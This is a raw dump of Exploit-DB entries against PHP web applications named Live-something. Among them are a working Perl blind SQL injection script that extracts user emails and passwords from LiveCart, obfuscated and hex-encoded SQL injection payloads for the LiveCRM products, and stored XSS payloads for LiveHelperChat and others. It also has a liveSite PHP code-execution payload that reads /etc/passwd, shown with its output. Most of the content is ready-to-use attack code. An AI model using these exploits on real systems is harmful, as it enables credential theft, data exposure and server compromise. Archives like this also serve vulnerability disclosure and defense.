deardaniel/secdata-raw huggingface dataset:
Exploit-DB #5422
Description: LiveCart 1.1.1 - 'id' Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-04-10
Author: irvian

Exploit:
#!/usr/bin/perl -w
use LWP::UserAgent;
#-----------------------------------------------------------------------------------------------#
# scripts       : livecart Remote Blind Sql Injection						#
# scripts site  : http://www.livecart.com							#
#												#
# Discovered											#
# By 		: irvian									#
# site		: http://irvian.cn								#
# forum		: http://noscan.info/forum							#
# email		: irvian.info@gmail.com								#
#												#
# Thanks To											#
# friend	: str0ke, nyubi, ibnusina, arioo, jipank, ifx, karet, bluespy and all my friend #
#-----------------------------------------------------------------------------------------------#
# sample 	: 										#
# http://demo.livecart.com									#
#-----------------------------------------------------------------------------------------------#
print "\r\n[+]----------------------[+]\r\n";
print "[+]Blind SQL injection	 [+]\r\n";
print "[+]Livecart              [+]\r\n";
print "[+]code by irvian	 [+]\r\n";
print "[+]irvian[dot]cn 	 [+]\r\n";
print "[+]----------------------[+]\n\r";
if (@ARGV < 3){
die "
Cara Mengunakan : perl $0 host option userid

Keterangan
host	: http://victim.com atau victim.com
Option	: pilih 1 untuk mencari email dan pilih 2 untuk mencari password
userid	: Limit
Contoh	: perl $0 http://victim.com 1 1
\n";}


$url = $ARGV[0];
$option = $ARGV[1];
$id = $ARGV[2];

if ($option eq 1){
syswrite(STDOUT, "email: ", 7);}
elsif ($option eq 2){
syswrite(STDOUT, "password: ", 10);}

for($i = 1; $i <= 32; $i++){
 $f = 0;
 $n = 32;
 while(!$f && $n <= 57)
 {
  if(&blind($url, $option, $id, $i, $n, $id)){
  $f = 1;
     syswrite(STDOUT, chr($n), 1);
   }
$n++;
}
if ($f==0){
$n = 97;
 while(!$f && $n <= 122)
 {
  if(&blind($url, $option, $id, $i, $n, $id)){
  $f = 1;
     syswrite(STDOUT, chr($n), 1);
   }
$n++;
}
}
}

print "\n[+]finish Execution Exploit\n";



sub blind {
my $site = $_[0];
my $op = $_[1];
my $id = $_[2];
my $i = $_[3];
my $n = $_[4];
my $r = $_[5];
if ($op eq 1){$klm = "email";}
elsif ($op eq 2){$klm = "password";}
$site =~ s/^http:\/\///;
my $url = "http://"."$site"."/category?id=1"."%20AND%20SUBSTRING((SELECT%20"."$klm"."%20FROM%20"."User"."%20LIMIT%20"."$r".",1"."),"."$i".",1)=CHAR("."$n".")";
my $browser = &zero($url);

if ($browser !~ /Error Code 500/gi){
	return 1;
}
else {
return 0;
}
}

sub zero($){
my $spy = $_[0];
my $ua = LWP::UserAgent->new;
$ua->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
my $res =  $ua->get($spy);
my @r = $res->content;
$page="@r";
return $page;}

# milw0rm.com [2008-04-10]
Exploit-DB #42487
Description: LiveCRM 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-08-18
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: LiveCRM 1.0 - SQL Injection
# Dork: N/A
# Date: 18.08.2017
# Vendor Homepage : http://livecrm.co/
# Software Link: https://codecanyon.net/item/livecrm-complete-business-management-solution/20249151
# Demo: http://demo.livecrm.co/livecrm/web/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows the working user group to inject sql commands ...
# 	
# Proof of Concept:
# 
# http://localhost/[PATH]/index.php?r=estimate/estimate/view&id=[SQL]
# 64+/*!22222UnIoN*/(/*!22222SeLeCT*/+0x283129,0x283229,0x283329,0x283429,(select(@x)/*!22222from*/(/*!22222select*/(@x:=0x00),(@running_number:=0),(@tbl:=0x00),(/*!22222select*/(0)/*!22222from*/(information_schema.columns)/*!22222where*/(table_schema=database())and(0x00)in(@x:=/*!22222CoNcaT*/(@x,0x3c62723e,if((@tbl!=table_name),/*!22222CoNcaT*/(0x3c2f6469763e,LPAD(@running_number:=@running_number%2b1,2,0x30),0x3a292020,0x3c666f6e7420636f6c6f723d7265643e,@tbl:=table_name,0x3c2f666f6e743e,0x3c62723e,(@z:=0x00),0x3c[PII_REDACTED]74796c653d226d617267696e2d6c6566743a333070783b223e),0x00),lpad(@z:=@z%2b1,2,0x30),0x3a292020,0x3c666f6e7420636f6c6f723d626c75653e,column_name,0x3c2f666f6e743e))))x),0x283629,0x283729,0x283829,0x283929,0x28313029,0x28313129,0x28313229,0x28313329)--+-
# 
# http://localhost/[PATH]/index.php?r=sales/lead/view&id=[SQL]
# 
# http://localhost/[PATH]/index.php?r=invoice/invoice/view&id=[SQL]
# 
# Etc...
# # # # #
Exploit-DB #43860
Description: LiveCRM SaaS Cloud 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2018-01-23
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: LiveCRM SaaS Cloud 1.0 - SQL Injection
# Dork: N/A
# Date: 23.01.2018
# Vendor Homepage: http://livecrm.co/
# Software Link: https://codecanyon.net/item/livecrm-saas-cloud-cloud-based-open-source-complete-business-management-solution-crm/21219419
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-5985
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/livecrm/web/index.php?r=site/login&company_id=[SQL]
# 
# %31%20%4f%52%20%31%20%47%52%4f%55%50%20%42%59%20%43%4f%4e%43%41%54%5f%57%53%28%30%78%33%61%2c%56%45%52%53%49%4f%4e%28%29%2c%46%4c%4f%4f%52%28%52%41%4e%44%28%30%29%2a%32%29%29%20%48%41%56%49%4e%47%20%4d%49%4e%28%30%29%20%4f%52%20%31
# 
# # # # #
Exploit-DB #34721
Description: Livefyre LiveComments Plugin - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2014-09-20
Author: Brij Kishore Mishra

Exploit:
Title : Stored XSS in Livefyre LiveComments Plugin
CVE : 2014-6420
Vendor Homepage : http://livefyre.com
Software Link : http://web.livefyre.com/streamhub/#liveComments
Version : v3.0
Author : Brij Kishore Mishra
Date : 03-Sept-2014
Tested On : Chrome 37, Ubuntu 14.04


Description :

This plugin requires user to be signed in via livefyre account to post
comments. Users have the option to upload pictures in comments. This
feature can be easily abused.

Using an intercepting proxy (e.g. Burp Suite), the name variable can be
edited to send an XSS payload while uploading a picture (payload used :
"><img src=x onerror=prompt(1337)>). When the comment is posted, the image
will be successfully uploaded, which leads to XSS due to an unsanitized
field.
Exploit-DB #52381
Description: LiveHelperChat 4.61 - Stored Cross Site Scripting (XSS) via Department Assignment Alias Nick Field
Type: webapps
Platform: php
Date: 2025-07-22
Author: Manojkumar J

Exploit:
# Exploit Title: LiveHelperChat <=4.61 - Stored Cross Site Scripting (XSS)
via Department Assignment Alias Nick Field
# Date: 09/06/2025
# Exploit Author: Manojkumar J (TheWhiteEvil)
# Linkedin: https://www.linkedin.com/in/manojkumar-j-7ba35b202/
# Vendor Homepage: https://github.com/LiveHelperChat/livehelperchat/
# Software Link:
https://github.com/LiveHelperChat/livehelperchat/
# Version: <=4.61
# Patched Version: 4.61
# Category: Web Application
# Tested on: Mac OS Sequoia 15.5, Firefox
# CVE : CVE-2025-51403
# Exploit link: https://github.com/Thewhiteevil/CVE-2025-51403
# Reference:
https://github.com/LiveHelperChat/livehelperchat/pull/2228/commits/2056503ad96e04467ec9af8d827109b9b9b46223

A low-privileged user/operator injects a malicious JavaScript payload into
the Department Assignment "Alias Nick" field while assigning or editing
department access. When a higher-privileged user (e.g., admin or operator)
edits the department assignment "Alias Nick" field, the stored script is
executed in their browser context.

## Reproduction Steps:

1. Log in as an operator.
2. Navigate to your Department Assignment settings page.
3. In the "Alias Nick" field, enter the following payload:
   ```
  "><img src="x" onerror="prompt(1);">
   ```
4. Save the changes.
5. Revist the Department Assignment settings page and edit the Alias Nick
field, the cross site scripting (xss) will execute.
Exploit-DB #52378
Description: LiveHelperChat 4.61 - Stored Cross Site Scripting (XSS) via Facebook Integration Page Name Field
Type: webapps
Platform: php
Date: 2025-07-22
Author: Manojkumar J

Exploit:
# Exploit Title: LiveHelperChat 4.61 - Stored Cross Site Scripting (XSS)
via Facebook Integration Page Name Field
# Date: 09/06/2025
# Exploit Author: Manojkumar J (TheWhiteEvil)
# Linkedin: https://www.linkedin.com/in/manojkumar-j-7ba35b202/
# Vendor Homepage: https://github.com/LiveHelperChat/livehelperchat/
# Software Link:
https://github.com/LiveHelperChat/livehelperchat/
# Version: <=4.61
# Patched Version: 4.61
# Category: Web Application
# Tested on: Mac OS Sequoia 15.5, Firefox
# CVE : CVE-2025-51398
# Exploit link: https://github.com/Thewhiteevil/CVE-2025-51398

A stored cross-site scripting (XSS) vulnerability in Live Helper Chat
version ≤ 4.61 allows attackers to execute arbitrary JavaScript by
injecting a crafted payload into the Facebook page integration Name Field.
The payload is stored and executed when higher-privileged users (e.g.,
administrators) access or edit the integration settings, resulting in
stored Cross Site Scripting (XSS).

## Reproduction Steps:

1. Log in as an operator.
2. Navigate to your Facebook page integration.
3. Create new Facebook page integration, enter the following payload in the
Facebook page integration Name Field:
   ```
  "><img src="x" onerror="prompt(1);">
   ```
4. Save the changes.
5. The payload is stored and executed when higher-privileged users (e.g.,
operator or administrators) access or edit the Facebook page integration,
resulting in stored Cross Site Scripting (XSS).
Exploit-DB #52377
Description: LiveHelperChat 4.61 - Stored Cross Site Scripting (XSS) via Operator Surname
Type: webapps
Platform: php
Date: 2025-07-22
Author: Manojkumar J

Exploit:
# Exploit Title: LiveHelperChat 4.61 - Stored Cross Site Scripting (XSS) via Operator Surname
# Date: 09/06/2025
# Exploit Author: Manojkumar J (TheWhiteEvil)
# Linkedin: https://www.linkedin.com/in/manojkumar-j-7ba35b202/
# Vendor Homepage: https://github.com/LiveHelperChat/livehelperchat/
# Software Link:
https://github.com/LiveHelperChat/livehelperchat/
# Version: <=4.61
# Patched Version: 4.61
# Category: Web Application
# Tested on: Mac OS Sequoia 15.5, Firefox
# CVE : CVE-2025-51397
# Exploit link: https://github.com/Thewhiteevil/CVE-2025-51397

A stored cross-site scripting (XSS) vulnerability in Live Helper Chat
version ≤ 4.61 allows attackers to execute arbitrary JavaScript by
injecting a crafted payload into the Operator Surname field. This payload
is stored and later executed when an admin or higher-privileged user views
the Recipients List where the attacker is listed as the Owner.

## Reproduction Steps:

1. Log in as an operator.
2. Navigate to your Operator Surname field.
3. Create new Operator Surname or Modify the Operator Surname, enter the
following payload:
   ```
  "><img src="x" onerror="prompt(1);">
   ```
4. Save the changes.
5. This payload is stored and later executed when an admin or
higher-privileged user views the Recipients List where the attacker is
listed as the Owner.
Exploit-DB #52379
Description: LiveHelperChat 4.61 - Stored Cross Site Scripting (XSS) via Personal Canned Messages
Type: webapps
Platform: php
Date: 2025-07-22
Author: Manojkumar J

Exploit:
# Exploit Title: LiveHelperChat 4.61 - Stored Cross Site Scripting (XSS)
via Personal Canned Messages
# Date: 09/06/2025
# Exploit Author: Manojkumar J (TheWhiteEvil)
# Linkedin: https://www.linkedin.com/in/manojkumar-j-7ba35b202/
# Vendor Homepage: https://github.com/LiveHelperChat/livehelperchat/
# Software Link:
https://github.com/LiveHelperChat/livehelperchat/
# Version: <=4.61
# Patched Version: 4.61
# Category: Web Application
# Tested on: Mac OS Sequoia 15.5, Firefox
# CVE : CVE-2025-51400
# Exploit link: https://github.com/Thewhiteevil/CVE-2025-51400

A stored cross-site scripting (XSS) vulnerability in Live Helper Chat
version ≤ 4.61 allows attackers to execute arbitrary JavaScript by
injecting a crafted payload into the Personal Canned Messages. When an
admin or operator user views the message, and tries to send canned messages
the stored javascript executes in their browser context.

## Reproduction Steps:

1. Log in as an operator.
2. Navigate to your Personal Canned Messages.
3. Create new personal canned message, enter the following payload:
   ```
  "><img src="x" onerror="prompt(1);">
   ```
4. Save the changes.
5. Try to use the personal canned message, the cross site scripting (xss)
will execute.
Exploit-DB #52376
Description: LiveHelperChat 4.61 - Stored Cross Site Scripting (XSS) via Telegram Bot Username
Type: webapps
Platform: php
Date: 2025-07-22
Author: Manojkumar J

Exploit:
# Exploit Title: LiveHelperChat 4.61 - Stored Cross Site Scripting (XSS)
via Telegram Bot Username
# Date: 09/06/2025
# Exploit Author: Manojkumar J (TheWhiteEvil)
# Linkedin: https://www.linkedin.com/in/manojkumar-j-7ba35b202/
# Vendor Homepage: https://github.com/LiveHelperChat/livehelperchat/
# Software Link:
https://github.com/LiveHelperChat/livehelperchat/
# Version: <=4.61
# Patched Version: 4.61
# Category: Web Application
# Tested on: Mac OS Sequoia 15.5, Firefox
# CVE : CVE-2025-51396
# Exploit link: https://github.com/Thewhiteevil/CVE-2025-51396

A stored cross-site scripting (XSS) vulnerability in Live Helper Chat
version ≤ 4.61 allows attackers to execute arbitrary JavaScript by
injecting a crafted payload into the Telegram Bot Username parameter. This
payload is stored and later executed when an admin or higher-privileged
user views or edits the Telegram Bot Username.


## Reproduction Steps:

1. Log in as an operator user in Live Helper Chat.
2. Navigate to `Settings > Live Help Configuration > Telegram Bot`.
3. In the **Bot Username** field, enter the following payload:
```
   "><img src="x" onerror="prompt(1);">
```
4. Save the settings.
5. Revisit the Telegram configuration panel and — the payload will execute.
Exploit-DB #52380
Description: LiveHelperChat 4.61 - Stored Cross Site Scripting (XSS) via the Chat Transfer Function
Type: webapps
Platform: php
Date: 2025-07-22
Author: Manojkumar J

Exploit:
# Exploit Title: LiveHelperChat 4.61 - Stored Cross Site Scripting (XSS) via the Chat Transfer Function
# Date: 09/06/2025
# Exploit Author: Manojkumar J (TheWhiteEvil)
# Linkedin: https://www.linkedin.com/in/manojkumar-j-7ba35b202/
# Vendor Homepage: https://github.com/LiveHelperChat/livehelperchat/
# Software Link:
https://github.com/LiveHelperChat/livehelperchat/
# Version: <=4.61
# Patched Version: 4.61
# Category: Web Application
# Tested on: Mac OS Sequoia 15.5, Firefox
# CVE : CVE-2025-51401
# Exploit link: https://github.com/Thewhiteevil/CVE-2025-51401

A stored cross-site scripting (XSS) vulnerability in Live Helper Chat
version ≤ 4.61 allows attackers to execute arbitrary JavaScript by
injecting a crafted payload into the Operator Chat Name Field Triggers on
Chat Owner Transfer Functionality on Live Helper Chat.

## Reproduction Steps:
1. Log in as an operator.
2. Navigate to your operator settings page.
3. In the **Name** field, enter the following payload:
   ```
  "><img src="x" onerror="prompt(1);">
   ```
4. Save the changes.
5. Initiate a chat with a visitor.
6. Transfer the chat to another operator — the XSS payload executes in the
receiving operator’s chat interface.
Exploit-DB #42489
Description: LiveInvoices 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-08-18
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: LiveInvoices 1.0 - SQL Injection
# Dork: N/A
# Date: 18.08.2017
# Vendor Homepage : http://livecrm.co/
# Software Link: https://codecanyon.net/item/liveinvoices-complete-invoicing-system-crm/20243375
# Demo: http://liveinvoices.livecrm.co/livecrm/web/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows the users to inject sql commands ...
# 	
# Proof of Concept:
# 
# http://localhost/[PATH]/index.php?r=estimate/estimate/view&id=[SQL]
# 62++/*!11111UnioN*/(/*!11111sELECt*/+0x283129,0x283229,0x283329,0x283429,(select(@x)/*!22222from*/(/*!22222select*/(@x:=0x00),(@running_number:=0),(@tbl:=0x00),(/*!22222select*/(0)/*!22222from*/(information_schema.columns)/*!22222where*/(table_schema=database())and(0x00)in(@x:=/*!22222CoNcaT*/(@x,0x3c62723e,if((@tbl!=table_name),/*!22222CoNcaT*/(0x3c2f6469763e,LPAD(@running_number:=@running_number%2b1,2,0x30),0x3a292020,0x3c666f6e7420636f6c6f723d7265643e,@tbl:=table_name,0x3c2f666f6e743e,0x3c62723e,(@z:=0x00),0x3c[PII_REDACTED]74796c653d226d617267696e2d6c6566743a333070783b223e),0x00),lpad(@z:=@z%2b1,2,0x30),0x3a292020,0x3c666f6e7420636f6c6f723d626c75653e,column_name,0x3c2f666f6e743e))))x),0x283629,0x283729,0x283829,0x283929,0x28313029,0x28313129,0x28313229,0x28313329)--+-
# 
# http://localhost/[PATH]/index.php?r=invoice/invoice/view&id=[SQL]
# 
# Etc...
# # # # #
Exploit-DB #23749
Description: LiveJournal 1.1 - CSS HTML Injection
Type: webapps
Platform: php
Date: 2004-02-23
Author: Michael Scovetta

Exploit:
source: https://www.securityfocus.com/bid/9727/info

LiveJournal is reportedly prone to HTML injection via Cascading Style Sheet (CSS) tags. It is possible to inject hostile HTML and script code into journal entries through this vulnerability. 

This could potentially be exploited to steal cookies from other site users. Other attacks are also possible.

<style>
.test1 { color:e\xpression(alert(document.cookie)); }
</style>

<a class="test1">foo</a>
Exploit-DB #42491
Description: LiveProjects 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-08-18
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: LiveProjects 1.0 - SQL Injection
# Dork: N/A
# Date: 18.08.2017
# Vendor Homepage : http://livecrm.co/
# Software Link: https://codecanyon.net/item/liveprojects-complete-project-management-crm/10436800
# Demo: http://liveprojects.livecrm.co/livecrm/web/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows the users to inject sql commands ...
# 	
# Proof of Concept:
# 
# http://localhost/[PATH]/index.php?r=pmt/project/project-view&id=[SQL]
# 
# http://localhost/[PATH]/index.php?r=pmt/task/task-view&id=[SQL]
# 
# http://localhost/[PATH]/index.php?r=pmt/project/project-view&id=[SQL]
# 
# Etc...
# # # # #
Exploit-DB #42490
Description: LiveSales 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-08-18
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: LiveSales 1.0 - SQL Injection
# Dork: N/A
# Date: 18.08.2017
# Vendor Homepage : http://livecrm.co/
# Software Link: https://codecanyon.net/item/livesales-complete-sales-management-crm/20243171
# Demo: http://livesales.livecrm.co/livecrm/web/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows the users to inject sql commands ...
# 	
# Proof of Concept:
# 
# http://localhost/[PATH]/index.php?r=estimate/estimate/view&id=[SQL]
# 65+/*!11111UnioN*/(/*!11111sELECt*/+0x283129,0x283229,0x283329,0x283429,(select(@x)/*!22222from*/(/*!22222select*/(@x:=0x00),(@running_number:=0),(@tbl:=0x00),(/*!22222select*/(0)/*!22222from*/(information_schema.columns)/*!22222where*/(table_schema=database())and(0x00)in(@x:=/*!22222CoNcaT*/(@x,0x3c62723e,if((@tbl!=table_name),/*!22222CoNcaT*/(0x3c2f6469763e,LPAD(@running_number:=@running_number%2b1,2,0x30),0x3a292020,0x3c666f6e7420636f6c6f723d7265643e,@tbl:=table_name,0x3c2f666f6e743e,0x3c62723e,(@z:=0x00),0x3c[PII_REDACTED]74796c653d226d617267696e2d6c6566743a333070783b223e),0x00),lpad(@z:=@z%2b1,2,0x30),0x3a292020,0x3c666f6e7420636f6c6f723d626c75653e,column_name,0x3c2f666f6e743e))))x),0x283629,0x283729,0x283829,0x283929,0x28313029,0x28313129,0x28313229,0x28313329)--+-
# 
# http://localhost/[PATH]/index.php?r=sales/lead/view&id=[SQL]
# 
# Etc...
# # # # #
Exploit-DB #51936
Description: liveSite Version 2019.1 - Remote Code Execution
Type: webapps
Platform: php
Date: 2024-03-28
Author: tmrswrr

Exploit:
## Exploit Title: liveSite Version : 2019.1 Campaigns Remote Code Execution
### Date: 2024-1-9
### Exploit Author: tmrswrr
### Category: Webapps
### Vendor Homepage: https://livesite.com/
### Version : 2019.1
### Tested on: https://www.softaculous.com/apps/cms/liveSite

1 ) Login with admin cred Click Campaigns  >  Create Campaign > Choose format Plain Text , write in body  your payload : https://127.0.0.1/liveSite/livesite/add_email_campaign.php
 
    Payload : <?php echo system('cat /etc/passwd'); ?>

2 ) After save you will be see result : 

    Result: root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin systemd-bus-proxy:x:999:998:systemd Bus Proxy:/:/sbin/nologin systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin polkitd:x:998:997:User for polkitd:/:/sbin/nologin tss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin postfix:x:89:89::/var/spool/postfix:/sbin/nologin chrony:x:997:995::/var/lib/chrony:/sbin/nologin soft:x:1000:1000::/home/soft:/sbin/nologin saslauth:x:996:76:Saslauthd user:/run/saslauthd:/sbin/nologin mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin emps:x:995:1001::/home/emps:/bin/bash named:x:25:25:Named:/var/named:/sbin/nologin exim:x:93:93::/var/spool/exim:/sbin/nologin vmail:x:5000:5000::/var/local/vmail:/bin/bash pinguzo:x:992:992::/etc/pinguzo:/bin/false webuzo:x:987:987::/home/webuzo:/bin/bash apache:x:986:985::/home/apache:/sbin/nologin mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/false mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/false
Exploit-DB #34446
Description: LiveStreet 0.2 - '/include/ajax/blogInfo.php?asd' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-31
Author: Inj3ct0r

Exploit:
source: https://www.securityfocus.com/bid/42422/info
 
LiveStreet is prone to an HTML-injection vulnerability and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
 
An attacker may leverage the issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, or launch other attacks.
 
LiveStreet 0.2 is vulnerable; other versions may also be affected.

Cross Site Scripting:

/include/ajax/blogInfo.php?asd=<script>alert(&#039;www.example.com&#039;)</script>